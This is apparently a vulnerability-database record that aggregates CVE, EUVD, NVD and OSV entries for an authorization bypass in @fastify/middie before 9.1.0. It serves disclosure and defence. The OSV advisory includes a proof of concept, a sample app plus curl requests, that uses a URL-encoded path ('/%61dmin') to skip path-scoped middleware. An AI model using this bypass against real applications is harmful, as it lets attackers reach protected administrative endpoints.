{"id":"GHSA-cxrg-g7r8-w69p","revision":null,"records":[{"revision":"c0500dc977364a3b82b5e7d5f57d86dd","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-22031","aliases":[],"title":"Fastify Middie Middleware Path Bypass","description":"@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.","state":0,"publishedAt":"2026-01-19T15:24:45.899+00:00","modifiedAt":"2026-01-20T14:45:31.487+00:00","affected":[{"ecosystem":"Vendor product","name":"middie","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"fastify\",\n                    \"product\": \"middie\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 9.1.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"severity":"HIGH"}],"references":["https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p","https://github.com/fastify/middie/pull/245","https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba","https://github.com/fastify/middie/releases/tag/v9.1.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-22031","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-22031","identifiers":["CVE-2026-22031"]},"retained":false,"historicalAffected":[]},{"revision":"6778da181b414a5d91e3ce67ec2bbccd","observedAt":"2026-11-25T10:50:56.846+00:00","statement":{"source":"euvd","id":"EUVD-2026-3321","aliases":["CVE-2026-22031","GHSA-cxrg-g7r8-w69p"],"title":"@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-e…","description":"@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"severity":null}],"references":["https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p","https://github.com/fastify/middie/pull/245","https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba","https://github.com/fastify/middie/releases/tag/v9.1.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-3321","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 19, 2026, 3:24:45 PM","dateUpdated":"Jan 20, 2026, 2:45:31 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-3321","identifiers":["EUVD-2026-3321","CVE-2026-22031","GHSA-cxrg-g7r8-w69p"]},"retained":false,"historicalAffected":[]},{"revision":"739bca01f03e41e584b8694c3790e74f","observedAt":"2026-10-25T05:17:32.026+00:00","statement":{"source":"nvd","id":"CVE-2026-22031","aliases":[],"title":"@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-e…","description":"@fastify/middie is the plugin that adds middleware support on steroids to Fastify. A security vulnerability exists in @fastify/middie prior to version 9.1.0 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Version 9.1.0 fixes the issue.","state":0,"publishedAt":"2026-01-19T16:15:54.31+00:00","modifiedAt":"2026-06-17T10:19:23.437+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba","https://github.com/fastify/middie/pull/245","https://github.com/fastify/middie/releases/tag/v9.1.0","https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-22031","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-177"],"productCriteria":["cpe:2.3:a:fastify:fastify\\/middie:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-01-19T16:15:54.310","lastModified":"2026-06-17T10:19:23.437"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-22031","identifiers":["CVE-2026-22031"]},"retained":false,"historicalAffected":[]},{"revision":"b0b4b10c1f0849b9b11f58ff12a3c956","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-cxrg-g7r8-w69p","aliases":["CVE-2026-22031"],"title":"Fastify Middie Middleware Path Bypass","description":"### Summary\nA security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `middie` matches requests against registered middleware paths.\n\n1.  **Regex Generation**: When [fastify.use('/admin', ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.\n2.  **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).\n3.  **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string.\n    *   The generated regex expects a decoded path (e.g., `/admin`).\n    *   If a request is sent to `/%61dmin`, the regex comparison fails (`/^\\/admin/` does not match `/%61dmin`).\n    *   `middie` assumes the middleware does not apply and calls `next()`.\n4.  **Route Execution**: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.\n\n**Incriminated Source Code:**\nIn the provided `middie` source:\n```javascript\n// ... inside Holder function\nif (regexp) {\n  const result = regexp.exec(url) // <--- 'url' is undecoded.\n  if (result) {\n    // ... executes middleware ...\n  } else {\n    that.done() // <--- Middleware skipped on mismatch\n  }\n}\n```\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n```javascript\nconst fastify = require('fastify')({ logger: true });\n\nasync function start() {\n  // Register middie for Express-style middleware support\n  await fastify.register(require('@fastify/middie'));\n\n  // Middleware to block /admin route\n  fastify.use('/admin', (req, res, next) => {\n    res.statusCode = 403;\n    res.end('Forbidden: Access to /admin is blocked');\n  });\n\n  // Sample routes\n  fastify.get('/', async (request, reply) => {\n    return { message: 'Welcome to the homepage' };\n  });\n\n  fastify.get('/admin', async (request, reply) => {\n    return { message: 'Admin panel' };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3008 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n1.  **Normal Request (Blocked):**\n    ```bash\n    curl http://localhost:3008/admin\n    # Output: Forbidden: Access to /admin is blocked\n    ```\n2.  **Bypass Request (Successful):**\n    ```bash\n    curl http://localhost:3008/%61dmin\n    # Output: {\"message\":\"Admin panel\"}\n    ```\n\n### Impact\n*   **Type:** Authentication/Authorization Bypass.\n*   **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.\n*   **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.","state":0,"publishedAt":"2026-01-20T16:34:50+00:00","modifiedAt":"2026-07-08T08:14:42.8337603+00:00","affected":[{"ecosystem":"npm","name":"@fastify/middie","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"9.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p","https://nvd.nist.gov/vuln/detail/CVE-2026-22031","https://github.com/fastify/middie/pull/245","https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba","https://github.com/fastify/middie","https://github.com/fastify/middie/releases/tag/v9.1.0"],"sourceUrl":"https://github.com/advisories/GHSA-cxrg-g7r8-w69p","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-cxrg-g7r8-w69p","identifiers":["GHSA-cxrg-g7r8-w69p","CVE-2026-22031"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-25T10:47:30.2236653+00:00","complete":true,"records":1795,"lastAttemptAt":"2026-11-25T10:47:30.2236653+00:00","lastSuccessAt":"2026-11-25T10:47:30.4731581+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:47:30.4731593+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8d356adab43082cb10bb7c033ed58312cf2ad2f0fb10e0afdf27fc89fa361f3b-eb33a37fae804496f103cb3c711c068eaf73ae5b7f2fc145db563dd9569d6d54","complete":true,"records":432073,"lastAttemptAt":"2026-11-25T10:44:59.7922852+00:00","lastSuccessAt":"2026-11-25T10:44:59.623386+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:44:59.7922852+00:00","snapshotPublishedAt":"2026-11-25T10:30:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-64340dec61194e008a5f85a646ed6b46","complete":false,"records":13938,"lastAttemptAt":"2026-11-25T10:56:47.6350503+00:00","lastSuccessAt":"2026-11-25T10:56:47.63+00:00","error":"137 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-25T10:56:47.63+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13830,"expectedIdentifiers":13986,"failedIdentifiers":137},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-25T10:47:30.2236653+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-25T10:47:30.2236653+00:00","lastSuccessAt":"2026-11-25T10:47:30.4912384+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:47:30.4912398+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-23f474d106184d03ba6ae4f1b9844075","complete":true,"records":13950,"lastAttemptAt":"2026-11-25T10:47:32.1172209+00:00","lastSuccessAt":"2026-11-25T10:47:32.113+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:47:32.113+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13986,"expectedIdentifiers":13986,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e743412268199d418c20ac5ea5d5eefbef4a1c78fcbacada525fcf2201b41d4a","complete":true,"records":10077,"lastAttemptAt":"2026-11-25T10:47:30.0581538+00:00","lastSuccessAt":"2026-11-24T23:11:09.9983084+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:47:30.0581538+00:00","snapshotPublishedAt":"2026-11-24T22:48:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-25T10:45:01.0073572+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:45:01.0073572+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-40938cbac3e2265a24e0d129a60138a855ec8a44cbd619ad6c0de0b22c0e253f","complete":true,"records":3221,"lastAttemptAt":"2026-11-25T10:47:30.1652942+00:00","lastSuccessAt":"2026-11-24T22:27:06.1844325+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:47:30.1652942+00:00","snapshotPublishedAt":"2026-11-24T22:03:27+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-6e5d85045a345af6d44ad78142d454d21ba8c2b270e694c2418444b295e2f9e6","complete":true,"records":233124,"lastAttemptAt":"2026-11-25T10:47:29.9128061+00:00","lastSuccessAt":"2026-11-25T10:47:28.4616168+00:00","error":null,"lastVerifiedAt":"2026-11-25T10:47:29.9128061+00:00","snapshotPublishedAt":"2026-11-25T10:33:22+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}